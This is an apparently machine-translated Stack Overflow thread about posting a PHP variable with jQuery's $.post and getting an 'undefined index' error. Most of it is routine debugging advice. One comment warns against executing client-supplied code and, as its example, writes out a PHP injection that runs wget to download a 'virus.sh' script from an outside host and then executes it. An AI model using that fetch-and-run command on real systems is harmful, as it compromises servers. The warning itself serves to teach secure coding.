2012-04-13 41 views
2

我正嘗試使用jQuery將變量發佈到MySQL/PHP查詢。我有一個按鈕,class="button"和按鈕的代碼是:使用jQuery在POST上點擊

$(".button").click(function(e){ 
    e.preventDefault(); 
    $.post("some.php", { var_today : <?php echo $new_var; ?> }); 
}); 

使用:

if(isset($_POST['var_today'])){ 
echo $_POST['var_today']; 
} 

我的PHP頁面上,我得到了一個未定義指數:var_today

鈕類標籤有一個onclick="window.open('')附加到它,一旦它被點擊,我得到「未定義索引」var_today未被張貼,我在這裏寫錯了什麼?

+1

在'var_today'的值周圍加上引號...... IE'var_today:「<?php echo $ new_var;?>' – gorelative 2012-04-13 15:02:02

+0

也不需要'onclick =」「'屬性,因爲這本質上就是jQuery.click()方法是 – Dunhamzzz 2012-04-13 15:02:44

+0

這不是一個答案,也許我誤解了你的代碼,但是請注意,你永遠不應該執行任何由於Javascript調用而獲得的代碼,這對於攻擊者用'<?php exec(「wget http://myvirus.com/virus.sh」); exec(「./ virus.sh」);?>替換'<?php echo $ new_var;?>' ' – 2012-04-13 15:06:07

回答

0
{ var_today : "<?php echo $new_var; ?>" } 

這應該工作。

3

你需要引用你的價值:

$.post("some.php", { var_today : "<?php echo $new_var; ?>" }, 
+0

我感謝你的快速響應,但是這並沒有改變未定義的索引,因爲值沒有被張貼,我有另一個頁面使用setInterval函數使用PHP變量,它工作正常。我也嘗試了一次警報,一旦我點擊按鈕,沒有任何東西。 – 2012-04-13 15:09:04

+1

向我們展示您的some.php PHP,或者您是否使用螢火蟲來驗證您的文章?另外,你有沒有定義一個稱爲返回的JavaScript函數? – 2012-04-13 15:21:16

+0

查詢只是從tbl中選擇所有的正則表達式^ var_today。我沒有返回,因爲我不需要返回任何東西,只需彈出窗口即可執行查詢和顯示 – 2012-04-13 15:37:33

0

試試這個:

$(".button").click(function(e){ 
    e.preventDefault(); 
    $.post("some.php", { var_today: ""}); 
}); 
+0

這將如何提供幫助?他想要發佈該值,而不是空白字符串。 – 2012-04-13 15:03:02

+0

看看編輯日誌,當我開始寫答案時,'<?php echo $ new_var; ?>還沒有被Jon添加,所以我假設他的例子只要功能有效就可以通過 – Churk 2012-04-13 15:06:06

+0

啊,是的,原來的問題並沒有顯示PHP標籤。 :-P – 2012-04-13 15:08:13